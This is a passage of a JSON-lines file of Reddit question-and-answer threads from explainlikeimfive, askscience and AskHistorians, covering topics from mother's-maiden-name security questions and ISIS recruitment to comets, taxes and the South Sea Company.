( or 3%/5names=0.6%)succes rate of gaining acces to a bank account is probably a very profitable endeavor. \n\nJust don't force this to be a question, if its one question from a 25 list of questions, that would be fine. ", "The person reviewing the forms likes to know if he or she might have dated her. If women changing their names when getting married were less common we would not need to ask these questions. How is she by the way?", "What if your mother's maiden name is your last name because you're a bastard child... yup...", "It\u2019s the original security question from the pre-internet age, usually only asked by financial institutions. It\u2019s a piece of information that you will most likely remember, but no one outside your family would know.\n\nHowever, due to the amount of information now available online, the utility of the question is gone and I would question the security practices of anyone who still uses it. And that\u2019s without looking at countries outside the United States and more modern naming conventions.\n\nIt was useful in America\u2019s \u201cLeave It To Beaver\u201d age, but not so much in the past few decades.", "My last name is my mothers maiden name. What now? \n\nThat question always seemed out of date by like 50 years. ", "Security question. I was at with 85 year old customer whose Internet had been  turned off by BT's screw up with payment. They asked that question on the phone which her answer was how am I supposed to remember that I'm 85, luckily they moved on. With [_URL_1_](_URL_0_) finding out anyones mothers maiden name is hardly difficult or just ask the Mormons. ", "As a security question I like to have \"What are you wearing?\" and as an answer \"Why are you asking me that you pervert?\". \n  \nI am easily amused. ", "I've always used my mother's maiden name in my full name and she never changed it either, but I am Hispanic.", "Precision. Bob Smth whose mother was a Malone is distinguishable from Bob Smith whose mother was a Throatwarbler-Mangrove.", "I work in citizen data related job, so I have access to a system with ALL citizens. You have no idea how much people there can be with similar names, ID numbers, similar birth dates. This is why it is important to ask for additional data that will probably make a difference - and the probability of mother's maiden name being the same for both citizens is much smaller. Sometimes addresses change and the system wasn't informed of that - so its not a reliable source of differentiation, but mother's maiden name will always stay the same. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://splinternews.com/your-mothers-maiden-name-has-been-a-security-question-s-1793846367"], [], [], [], [], [], ["ancestry.com"], [], [], [], [], [], [], ["https://ancestry.com", "ancestry.com"], [], [], [], []]}
{"q_id": "39cua9", "title": "What happens between the surface of my ski or snowboard and the snow that makes me glide down the hill?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/39cua9/what_happens_between_the_surface_of_my_ski_or/", "answers": {"a_id": ["cs2qnbb"], "score": [2], "text": ["The coefficient of friction between the board and the snow is very low meaning that very little energy is lost to heat and sound as it glides over the snow. As far as the mechanisms of achieving that low coefficient my guess you be a partially hydrophobic coating that has a mildly repellent quality "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "11swe7", "title": "what's the exactly the point of r/srs, r/anticirclejerk , r/truetruereddit, r/truecriclejerk and so on?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/11swe7/whats_the_exactly_the_point_of_rsrs/", "answers": {"a_id": ["c6paviz", "c6paz1l", "c6pijlm"], "score": [3, 9, 3], "text": ["/r/SRS - a subreddit of redditors dedicated to pointing out that they believe reddit to be a hive of racism, misogyny, homophobia, paedophilia, etc...\n\n/r/anticirclejerk - just trying to be edgy by opposing widely proffessed opinions around the main subreddits\n\netc...\n\nBasically, these are \"meta\" subreddits - their intent concerns the state of reddit itself.", "You're asking questions about VERY different subreddits, and most of the time you could find this information out by either reading their sidebar or messaging the moderators.\n\n/r/anticirclejerk - A dead subreddit but probably made to make posts that go against the grain of what's in /r/circlejerk.  Who knows whether it was meant to be serious or not?\n\n/r/truetruereddit - Some people feel that Reddit has gone from being about informative discussion, to being a place where people just post pics of their pets, memes, puns, etc.  True Reddit was meant to counter that.  Some people feel True Reddit has failed as well though and thus True True Reddit.  As the sidebar says, \"A subreddit for really great, insightful articles, reddiquette, reading before voting and the hope to generate intelligent discussion on those articles.\"\n\n/r/truecirclejerk - Another dead subreddit, and most likely created as a joke to parody the other true subreddits.\n\n/r/shitredditsays is one of the most controversial subreddits on this website, and you'll get different responses from different people on what they are and do.  [Here's an FAQ they did a while back.](_URL_0_)  Basically, they all get together and point out examples of people on this website being racist, sexist, or pretty much just offensive in one way or another.  They're extreme in the way they express their opinions and don't tolerate dissent.  Why they post there and what they feel like they're accomplishing changes from person to person in the subreddit (as is true of pretty much ANY person on ANY subreddit on this website.)\n\nPeople create subreddits like these because they can, and because that's how Reddit works.  Anyone can create a subreddit on any topic.  I've created about 20 subreddits over my time here, most just as jokes that I'll run with for a little while.  Many other people create subreddits to either discuss topics they feel are being ignored in other subreddits, or because they feel a certain subreddit has failed and they want to start over with their own version of it.", "Let me try to give an objective answer to /r/SRS:\n\nThe supporters of /r/SRS believe that the world has no place for \"hate speech\".  This includes misogyny, racism, etc.  They link to these comments for two reasons: a) so that they can be discussed inside SRS and, b) so that they can be quickly downvoted.  Many supporters of SRS would claim that they don't wish to BAN such speech as that they wish to affect change on reddit such that these types of comments are downvoted more often than they are upvoted (and that hopefully this trend would catch on outside of the SRS \"vanguard\").  This is similar to the idea of \"I'm not going to pass a law that says you can't say this, but I'm not going to stand by and do nothing, either\".  Also, although I'm not a member of SRS (nor do I agree with them most of the time), I think they would say that most of the comments with which they have issues are \"ha ha only serious\" and more truly reflect the commenter's true beliefs than the commenter or the rest of reddit would like to believe.\n\nThe opponents of SRS might say that the subreddit started with fairly decent intentions, but has become a \"clique\" of \"true believers\" and that their actions today more closely approximate a \"witch hunt\" than an honest attempt at changing the overall discourse of reddit.  Opponents also claim that SRS is not even-handed in its criticism and, for example, tends to oppose anti-woman speech much more than anti-man speech.  Also, opponents might say that the \"downvote brigade\" approach is dangerously close to actual censorship and, thus, counter to one of reddit's core values.  Anti-SRS advocates tend to reject the \"ha ha only serious\" theory of SRS and contend that offensive statements and jokes are either really just jokes for the sake of being shocking or funny, or that they are \"court jester satire\" and valuable in a world where political correctness often silences debate on certain issues.  Lastly, they would accuse SRS of being too ideological and banning those who disagree with them, etc.\n\nIn the end, the battle between SRS and its supporters and the rest of reddit reflects a larger cultural battle between those who feel hate speech is a real and present danger and must be actively battled, and those who feel that doing so simply creates taboos and underground ideologies, thus paradoxically making these unpleasant views more popular than they would have been to begin with.\n\nI'm simplifying of course, but hopefully you get the idea.\n\nEDIT: Also, there is controversy over weather SRS is or is not satire, a \"circlejack\" (as the SRS FAQ says), or a \"downvote brigade\" (as the SRS FAQ claims it is not).  My thought on this is that it's semi-satire."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/ShitRedditSays/comments/o0pdv/meta_srs_faq/"], []]}
{"q_id": "3htoua", "title": "isis online recruitment", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3htoua/eli5_isis_online_recruitment/", "answers": {"a_id": ["cuagamt", "cuagufm"], "score": [9, 3], "text": ["Kids are impressionable. If they are being bullied or isolated and feel like someone understands them, they are going to cling to that person and try to be on that person's good side, and from what I understand the isis recruiters are going to use that to their advantage by isolating them even more and making it to where the kids only friends are isis members and convince the kid that he can't trust people that are not in isis and that the kid can't trust even his own family. \n\nIt is basically them finding a window into the childs mind while it is still impressionable, so they don't have to initially agree with what the recruiter says, but the recruiter will make isis look amazing in the eyes of the kid, who may have never even heard of isis in the first place. ", "The same way extremist of any type breed. Through conspiracy, being isolated from society, etc. There are many ways they pry on to these people's minds. ISIS is very accepting of people, make them feel like they're a part of something. They get a lot of people who have nothing, little direction in life. They also get people who think holy wars are on the brink, or just Islamic extremist who take the Quran literally, and believe what ISIS spreads. Then they have people who just want to be in a war but  don't want commitment like military.. some people are just bloodthirsty"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1rlpki", "title": "who is silvio berlusconi, and why is his expulsion from the italian senate a big deal?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1rlpki/eli5_who_is_silvio_berlusconi_and_why_is_his/", "answers": {"a_id": ["cdokrzv", "cdon3um", "cdon5is"], "score": [3, 3, 3], "text": ["He is the former Prime Minister of Italy, one of the richest and most powerful men in the world, and certainly in Italy. ", "[Read all about him here](_URL_0_). You're in for a treat. ", "In addition to being the former PM of Italy, he also owns large amounts of Italian media outlets.\n\nHe's also known as a womaniser and a spectacular male chauvinist pig. (And I say that as a man.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.cracked.com/article_19070_the-5-craziest-exploits-worlds-shadiest-politician.html"], []]}
{"q_id": "5c9q0e", "title": "Citation help?", "selftext": "I'm working on a paper right now, and this Banda book (_URL_1_) has me stumped on how to properly Cite it (Chicago). On the title page, there is the main author listed (like on the amazon listing), but there is a second \"Editing and additional text by: Nigel Simmounds. Do I list both authors, or just the main one? Picture of title page attached:_URL_0_ \n\nThanks!!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5c9q0e/citation_help/", "answers": {"a_id": ["d9uw8oe"], "score": [2], "text": ["There is a way to cite them as a contributor. Honestly, download Zotero. As long as you're not citing sources in foreign languages (Zotero can have problems with capitalization) you should be fine."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/dOoTq1a.jpg", "https://www.amazon.com/Banda-journey-through-Indonesias-fabled/dp/B0000CP8SS"], "answers_urls": [[]]}
{"q_id": "bbusfo", "title": "Are the Black Hills of South Dakota actually mountains or hills? How are these two natural structures defined/differentiated?", "selftext": "I recently moved to the Black Hills region of South Dakota which clearly look like mountains to me, but people from the area deny that they are mountains. Where I'm from originally, (Illinois) what we refer to as hills are hundreds of feet shorter than what's out here.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bbusfo/are_the_black_hills_of_south_dakota_actually/", "answers": {"a_id": ["ekop04k"], "score": [6], "text": ["The Black Hills are a mountain range; the name is a translation from the Soiux name for them. In geography, we argue about how exactly to differentiate between things like hills vs mountains but factors we consider are steepness,  relief, isolation from other landforms, stuff like that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "qw65g", "title": "When will we see the next significant comet with the naked eye?", "selftext": "I'm still bitter at my parents for not letting me stay up late and see Halley's Comet in '86. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qw65g/when_will_we_see_the_next_significant_comet_with/", "answers": {"a_id": ["c40xj9b", "c40xjjz", "c40z3j4"], "score": [4, 5, 3], "text": ["It's hard to say - \"new\" comets (i.e. comets that don't have short regular periods like Halley) are quite hard to predict. Though I'm not sure why you'd be upset about Halley's Comet when [McNaught](_URL_0_) in 2007 was way brighter :)\n\nIt seems like we get a naked-eye visible comet every few years or so.", "You didn't miss much. [Halley's in 1986](_URL_0_) wasn't a great show because its orientation was not favorable for viewing from Earth. We really don't know when the next great comet display will occur. But if you are willing travel, you'll have a better chance of seeing one. For example, Comet [C2006 P1](_URL_1_) (Comet McNaught or the \"Great Comet of 2007\") was beautiful in the southern hemisphere.\n\nEdit: Corrected date (thanks, sub_par).", "I don't know about comets, but the next significant event will be the [Transit of Venus](_URL_0_) in June. \n\nDefinetly worth to watch, especially because it won't happen again for the next 150 years.\n\nI will be in a observatory nearby, but because of the latitude of my hometown i will only be able to see the exit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/C/2006_P1"], ["http://en.wikipedia.org/wiki/Halley%27s_Comet#1986", "http://en.wikipedia.org/wiki/C/2006_P1"], ["http://en.wikipedia.org/wiki/Transit_of_Venus"]]}
{"q_id": "k8uzf", "title": "endosymbiosis", "selftext": "i feel like this is a stupid question, but doesn't that basically imply lamarckism? how could these acquired characteristics (the engulfed prokaryotes) end up propagating?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/k8uzf/eli5_endosymbiosis/", "answers": {"a_id": ["c2id5ty", "c2id5ty"], "score": [3, 3], "text": ["Let's use a large life from like flowers.\n\nFlowers reproduce by using Pollen. The Pollen from one Flower has to travel to another Flower to make new flowers. In the distant past many plants used different ways of transferring this Pollen like making it blow in the wind, but alot of the Pollen was transfer by insect getting food from the flowers and then moving to another flower to get more food. As time went on this started to benefit the Flowers and Insect so much that certain flower and certain insects decided to reject all the other means of transfer Pollen and getting food. The two species became the Bees and Flower that we have today with both being species being intertwined and required for the continuation of both species.\n\nEndosymbiosis is like this but it's taking place at the cellular level. Two species of cells started to work together for their mutual benefit. As evolution continues both species became more dependent upon. Eventually one cells started to live in side another cell for it's protection and to benefits it's partner. A example of this in our previous example would be a flowering tree which allows for bees to make hive on it or in it. At this point the dependent cell can still probably like out side the protector cell, it might even have to do certain thing outside the protector cell like reproduce but it still spend the majority of it's time inside the protector cell. As time continues to go on the larger cell provides more help to it's dependent cell, eventually taking over process that it needs to survive. This would be like if the tree started say warming the hive during the winter for the bees. The time the dependent cell spends outside of the protector cell continues to decrease and it's so risky to leave it's protector cell that it starts to reproduce inside the protector cell. Some cell spend their entire lives inside the protector cell. Eventually there reaches a point where the dependent cell has lost so many gene that it needs to survive in outside world it can only live in the cell. And the cell it lives in requires the dependent for so much that it can't like with out the dependent. ", "Let's use a large life from like flowers.\n\nFlowers reproduce by using Pollen. The Pollen from one Flower has to travel to another Flower to make new flowers. In the distant past many plants used different ways of transferring this Pollen like making it blow in the wind, but alot of the Pollen was transfer by insect getting food from the flowers and then moving to another flower to get more food. As time went on this started to benefit the Flowers and Insect so much that certain flower and certain insects decided to reject all the other means of transfer Pollen and getting food. The two species became the Bees and Flower that we have today with both being species being intertwined and required for the continuation of both species.\n\nEndosymbiosis is like this but it's taking place at the cellular level. Two species of cells started to work together for their mutual benefit. As evolution continues both species became more dependent upon. Eventually one cells started to live in side another cell for it's protection and to benefits it's partner. A example of this in our previous example would be a flowering tree which allows for bees to make hive on it or in it. At this point the dependent cell can still probably like out side the protector cell, it might even have to do certain thing outside the protector cell like reproduce but it still spend the majority of it's time inside the protector cell. As time continues to go on the larger cell provides more help to it's dependent cell, eventually taking over process that it needs to survive. This would be like if the tree started say warming the hive during the winter for the bees. The time the dependent cell spends outside of the protector cell continues to decrease and it's so risky to leave it's protector cell that it starts to reproduce inside the protector cell. Some cell spend their entire lives inside the protector cell. Eventually there reaches a point where the dependent cell has lost so many gene that it needs to survive in outside world it can only live in the cell. And the cell it lives in requires the dependent for so much that it can't like with out the dependent. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2bh05g", "title": "How do burrowing animals, such as Meerkats and Moles, prevent their burrows from flooding?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2bh05g/how_do_burrowing_animals_such_as_meerkats_and/", "answers": {"a_id": ["cj5lfmr", "cj7yfbp"], "score": [12, 2], "text": ["They do flood when the conditions of heavy rain over time have been met. But these animals instinctively know to not burrow in flood plains and seek higher ground to begin with. \n\nBut what may be confusing is the ability of a given soil substrate's ability to absorb water. Near the surface, where the substrate has been compacted into a more dense layer, excess rain tends to pool before it is essentially absorbed or drains to lower areas. Since this is the part you and I tend to see, we assume that all of the soil below it must also be \"flooded\". Not so, the lower layers might be a dry sponge just waiting for that water to soak it up easily. \n\nNot to say that all lower layers of the soil are less dense, or less compacted, as this vary greatly by region. However in the case of the burrowing animal, it is choosing to dig its dens in areas where the soil is less dense and more easy to burrow through. \n\nThis type of substrate - under the top layer - tends to be highly absorbent. So excess rainwater runoff has less capacity to \"flood\" it. \n\nThen there is the water table to contend with, but most burrowing animals will not be going that deep in the first place, instinctually. ", "Moles don't mind tunnel flooding at all, and are quite adept swimmers. In fact, some species of moles have burrows that enter into streams and ponds.\n\n[Here](_URL_0_) is beautiful footage of a mole swimming through a flooded tunnel."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.arkive.org/mole/talpa-europaea/video-06.html"]]}
{"q_id": "450i83", "title": "how would life change for the average american if we changed to a socialist economy.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/450i83/eli5_how_would_life_change_for_the_average/", "answers": {"a_id": ["czuc04e", "czud3c0", "czudsag", "czuj1ql"], "score": [11, 3, 5, 5], "text": ["It depends on how you define \"socialist economy\".  Policies like medicare, medicaid, welfare, food stamps, social security are \"socialist\" policies, does that mean we currently live in a socialist economy ?", "The definition of a socialist economy is one where the people (via the government) own the means of production. That means that all the factories, farms, etc would suddenly be under government management. Government bureaucrats would decide what products get made (or not made). (Important to note : when the people making decisions about the product get paid whether or not it's good, then the product tends to be crappy. That's why nobody *ever* bought an Eastern European car if they could afford something else) ", "There are a variety of different versions of a socialist economy. I think it most likely that the US would change to a socialist market economy with democratic control of the means of production.\n\nTo answer your question in the proper ELI5 manner: The average American would be given stock in many, many companies and the right to vote on what that company should produce, when, how, etc. The stocks would be sold and traded. Some average Americans would become wealthier than they are now, some wouldn't gain much at all. If people cooperated, things could get much better. The more likely scenario is that everyone would try to get as much advantage as they could and things would end up more or less as they are now with more people owning each company and fewer extremely rich people. ", "Major change:\n\nHigher taxes, but you don't have to pay for stuff like schools, health care, care for elderly, infrastructure and a shitload of other things you pay a lot for (or pay a lot to have insurance cover for).\n\nEdit: Also, you wouldn't have the dirt-poor people, as there would be a social security which took care of them and made sure that everyone at least had a reasonable standard of living."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2sr9qy", "title": "tax avoidance vs tax evasion, what's the difference?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2sr9qy/eli5_tax_avoidance_vs_tax_evasion_whats_the/", "answers": {"a_id": ["cns4er9", "cns78us", "cns8tw2", "cnscyo6", "cnskqg3"], "score": [14, 3, 3, 2, 3], "text": ["Tax avoidance is when you set up your business or personal finances to decrease the amount of taxes you owe. This is not illegal because you never owed the tax. Tax evasion is when you owe a tax but you intentionally don't pay it. This is illegal. ", "tax avoidance = using the rules to your advantage\n\ntax evasion = breaking the rules", "An example of tax avoidance is when wealthy people donate money to charities so they get cut on taxes. Which is a legal way of paying less taxes.\n\nAn example of tax evasion is smuggling goods to avoid paying tariffs to a foreign country. Which is an illegal way of paying less taxes.\n\nFun Fact: Al Capone couldn't get arrested because he had no proof of selling illegal alcohol or other actions because he always had his goons do the dirty work. They finally found a way to arrested him because he didn't pay income taxes on the money he earned from his \"business\".", "Tax avoidance is legal, it is just structuring your finances in a way that reduces your tax burden.\n\nTax evasion is failure to pay taxes owed, usually through fraud.", "A Supreme Court Justice (I think) made an analogy about this. Taking a route home to avoid a toll road is perfectly fine. That's avoidance.\n\nRunning thru a toll without paying the fine? Not cool. That's evasion.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "3nnwag", "title": "how did the us \"accidentally\" bomb a doctors without borders hospital in afghanistan? i know that mistakes can be made, but that seems like a pretty big mistake to me.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3nnwag/eli5_how_did_the_us_accidentally_bomb_a_doctors/", "answers": {"a_id": ["cvpqoyj", "cvpqrld", "cvpryml", "cvpttp0"], "score": [8, 6, 21, 8], "text": ["Didn't read much about it so I don't have the details, but someone could have called in some wrong coordinates for an airstrike and the bombers just carried them out. The bombers just drop bombs where they are told, they don't really know what they're hitting, they trust the people calling the coordinates in. So I'm not saying the military is not at fault entirely, but I don't think we know who is to truly blame.", "The last info I read about it said that the Taliban were firing weapons at American troops and using the hospital for cover. But Doctors Without Borders says that's definitely not true, so who knows. ", "Well. The story has changed a bit.. the afghans called in a fire support mission on the hospital, because they said they were taking fire from it. So we bombed it for them. ( the fire support missions are supplied by the us,  but the targets are supplied by the Afghan military ) this is probably also why, the afghans weren't rioting in the streets to kill America like every other time we bomb something in their country. They were awful quiet after this which suprised analysts and news media.\n\nEdit: BY the way, the afghans didn't identify the target as a hospital when they called for us to hit it. Were they taking fire and did they know it was a hospital when they called it in? No one seems to know.", "I wrote about it [here](_URL_0_) but to sum it up:\n\n* Kunduz - a city of 300,000 - was recently taken by the Taliban and the Afghan National Army has been fighting to retake it. The US is providing air support to tip the balance in favor of the Afghans and so US ground troops do not need to be sent in.\n* The building itself isn't identified like a hospital here is with a big red cross and a bunch of other signs stating that it is a hospital. To add to the complexity, it would require visual identification from the air because of the way the aircraft in question is used.\n* The Pentagon has stated that the aircraft in question is the AC-130 Gunship.\n* MSF/DWB claims that the bombing was \"precise strikes\" that lasted for over 30 minutes. MSF/DWB also claims that it was bombs, but that isn't possible: precise bombing would have absolutely flattened the hospital with just one or two bombs, much less continuous bombardment for 30+ minutes.\n* This makes the AC-130 even more likely, as the AC-130 is a gunship. It does not use bombs or missiles - it uses a combination of 20mm miniguns, a 40mm Bofors autocannon, or a 105mm cannon/howitzer.\n\nIn addition, the AC-130 finds targets by using cameras/infrared scopes to *visually* identify targets. Thus, this isn't a matter of coordinates or dropping a bomb accidentally - this action would have involved them visually seeing targets to attack. In addition, this makes all the reports of MSF/DWB giving GPS coordinates irrelevant: the gunship doesn't find targets using a map or GPS coordinates, it finds them visually by finding hostiles and targeting them.\n\nWhat's most likely to have happened, at least from the often contradictory details, is that the AC-130 gunship was providing air support and the Afghans gave coordinates/the building as a source of enemy fire, and the gunship went in to support the troops fighting nearby and fired on the target.\n\nNote that MSF/DWB doesn't state that there weren't possible Taliban fighters operating nearby/being treated at the hospital, as they treat everyone, which further complicates the scenario as it is entirely possible that fighters were entering/exiting the area/compound itself."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.reddit.com/r/worldnews/comments/3nmasx/doctors_without_borders_calls_us_bombing_of_its/cvpnpe7"]]}
{"q_id": "11a261", "title": "what causes chemicals in a reaction to change color?", "selftext": "Rust or corrosion for example.  Why is the rust a different color than the original chemical?  Also, this: [Lead Iodide](_URL_0_).  How does something yellow appear out of two colorless liquids?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/11a261/eli5_what_causes_chemicals_in_a_reaction_to/", "answers": {"a_id": ["c6koyxu"], "score": [2], "text": ["The simplest way to look at it is that the physical properties of the reactants and products in a chemical reaction don't necessarily have anything to do with each other. For example, if you combine hydrogen and oxygen (which are both gases) you get water which is very unlike hydrogen or oxygen. Chemical reactions give the products new structures, densities, shapes, electrical properties, and so on. Sometimes the product will even reflect light differently which results in a change of colour.\n\nIn the case of lead iodide, the reactants are actually two white powders (lead(II) nitrate and potassium iodide) which are both dissolved in water. The fact that you can make solids disappear in water is also pretty amazing if you think about it."]}, "title_urls": [], "selftext_urls": ["http://1.bp.blogspot.com/-SqoBZIU_Xwg/TmsAuJ10kRI/AAAAAAAAAGE/nvKIXyVjcis/s1600/Lead+Iodide.jpg"], "answers_urls": [[]]}
{"q_id": "5rd3n1", "title": "could stone be forged like metal is? as in heat it to the required temperature to liquify, then pour that (lava) into molds?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5rd3n1/eli5_could_stone_be_forged_like_metal_is_as_in/", "answers": {"a_id": ["dd6ccc4", "dd6ckh9", "dd6gofc"], "score": [2, 20, 4], "text": ["That's not really forging, but yes, that part you could do. \n\nThe part(s) you couldn't do are the hammering, shaping, and honing. \n", "That's not forging, what you're describing is \"casting\".  \nForging involves 'hammering' an object into shape. Casting involves 'pouring' a liquid into a mold.  \nThe classic way to 'cast' stone is via \"sintering\" which is a process where you take a powder and heat it until the particles all stick to each other (think firing clay). Fill your mold with powder and something to hold it together and heat it in some sort of kiln.  \nYou can do what you describe, it's pretty common in the ceramic arts. Glass casting goes back at least to the Roman times. The process for a 'stone' wouldn't be too different (I've poured lab-made 'lava' on several occasions).   \nThere are also guys out there who literally go out and scoop lava (actual lava from a volcano) into molds. ", "Forging, as others mentioned, is the process of heating and hammering a piece of metal until it is of shape. Forging doesn't work well with stone, as the materials we think of as stone are almost always very brittle. \n\nSolid materials come in one of two very broad categories: stretchy and brittle. Usually, stretchy things are weaker, because of the very nature of being stretchy; you're pulling material apart. Brittle things are usually stronger, because their atoms make a very stable structure. These are broad generalizations, of course.\n\nMetal, at certain temps, gets very stretchy, but doesn't become liquid. The bonds between atoms start to weaken due to all of the energy everywhere, but the metal hasn't hit melting point yet. This allows us to hammer it into a certain shape, which also kind of kneads the stretchy bonds into a shape that is very stable when it cools down (tempering) \n\nStone materials never really hit the same stretchy-but-not-goopy stage metals do. They go from pretty solid to pretty liquid in a very short temperature range. When they're solid, they are brittle; their bonds are very stable and arranged just so. If you hit a brittle material, it will not stretch; it will crack, like glass does, because it's bonds cannot stretch. There are all sorts of deep-down atomic reasons for why some bonds will stretch and some will not, but for the most part, stone is in the latter category."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3re80q", "title": "Are there any documented cases of military generals citing chess tactics as influential in forming actual military plans?", "selftext": "I'm curious if there has ever been a documented case where a general used knowledge of chess tactics to affect the outcome of a battle or at least help form a strategy.  Thanks.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3re80q/are_there_any_documented_cases_of_military/", "answers": {"a_id": ["cwnwx71"], "score": [4], "text": ["Zeng Guofan was a scholar by training, but when the Taiping Civil War broke out, he joined his fellow scholar-landowners in raising militias to fight the rebels after the dynasty's actual military failed.  Eventually, Zeng's militia absorbed its neighbors, becoming the Xiang Army, and he took it upon himself to reconquer the state the rebels had carved out in the Yangtze river valley.  \n\nZeng, like the other scholars of Imperial China, was a Neo-Confucian, and one of the tenants of the philosophy is strict self discipline.  Zeng would always spend an hour in contemplation in the morning, walked a thousand paces after every meal, never starting a book until he finished the one he was then reading, keeping a diary every day, and so on.  Furthermore, there were several arts the Chinese gentleman was expected to master in the process of self-cultivation, and one of them is the game weiqi, commonly known in the west by its Japanese name, Go.  Every day, Zeng played a game of Go with his subordinates, and if you squint, his strategy reflected the closest thing he had to prior military experience.  Points in Go are assigned for holding territory on the board, and enemy stones are removed by encirclement, not by direct attack as in chess.\n\nSince Zeng had no experience leading armies in the field prior to the war, it's unsurprising that he was a poor battle commander, suffering disastrous defeats at Jiujiang and Three Rivers, the latter leading to a suicide attempt on his part.  He did, however, possess a keen strategic mind.  The fighting in the Taiping Civil War took place mostly along the wealthy and fertile Yangtze river, so many cities were heavily fortified.  The progress of the war largely came down a series of sieges; Chinese walls were too thick to breach with the cannons available, so it was necessary to surround enemy strongholds, whereupon they could be forced to surrender.  Zeng Guofan himself was threatened with encirclement by Chen Yucheng as he besieged Anqing, but his cavalry commander, the Manchu Duolonga, managed to outflank the Brave King; it was encirclement within encirclement within encirclement, the same way you win in Go."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3mdr3x", "title": "Did people actually cut out the tongues of slaves/criminals etc once upon a time? If so, how did they swallow food and water without their tongues so they don't stave to death or die of dehydration?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3mdr3x/did_people_actually_cut_out_the_tongues_of/", "answers": {"a_id": ["cvey9ao"], "score": [2], "text": ["From a how did they swallow perspective, it is possible to swallow without the anterior portion of your tongue. The tongue itself is much bigger than you may suspect.\n\nthe back/base of your tongue (which likely remains) is the part that is imperative for keeping liquid and food in your oral cavity until you are ready to swallow. Once you do swallow, the back of your tongue is again the portion that initiates the swallow mechanisms to safely swallow. \n\nSo as long as you have the base of your tongue and take caution you could feasibly drink liquids and tolerate solids that don't need much chewing (think oatmeal).  \n\nI'm a Speech Pathologist and work in a skilled nursing facility with people who have swallow disorders every day. One patient had the anterior portion of his tongue removed secondary to cancer. He ate and drank a modified diet like a pro. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "dny5pq", "title": "how did the south sea company of the 1700s in britain make its money if it made no to very little profit in the south seas?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dny5pq/eli5_how_did_the_south_sea_company_of_the_1700s/", "answers": {"a_id": ["f5hiyqa", "f5hkn5b", "f5hyr9z"], "score": [3, 2, 3], "text": ["It was a bubble.  \n\nThey promised they were gonna get a profit stream going any day now, but most people just knew that the value of the stock kept going up.\n\nThe stock was valuable because the price of the stock was going up, and the price of the stock went up because people wanted to buy it because the price was going up.  The SSC even offered people loans to buy more stock, but eventually the price topped out and the market collapsed.\n\nThe only money the SSC actually made was through stock sales - they would get permission to issue X shares of stock at price Y, but by the time the actual sale rolled around, the price of the stock was higher, so they sold X shares at the new market price and pocketed the difference (and also bribed parliament to get away with it).", "They did not in fact make money. Their only success was the prediction that they would have lots of profits. These predictions were supported by the major political players and even the royals at the time. When people thought that the company was destined for great treasures it was easy for the company to issue new shares whenever they needed money. So too was it easy for the founders and early investors to sell some of the shares at inflated prices whenever they needed money.", "The South Sea Company was a pyramid scheme writ large.  It used the money from new investors to pay off old investors.\n\nWhere South Sea differs, however, was legitimacy.  James Blunt (the owner) managed to gain the support of many powerful people in the British government, including the King of England."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
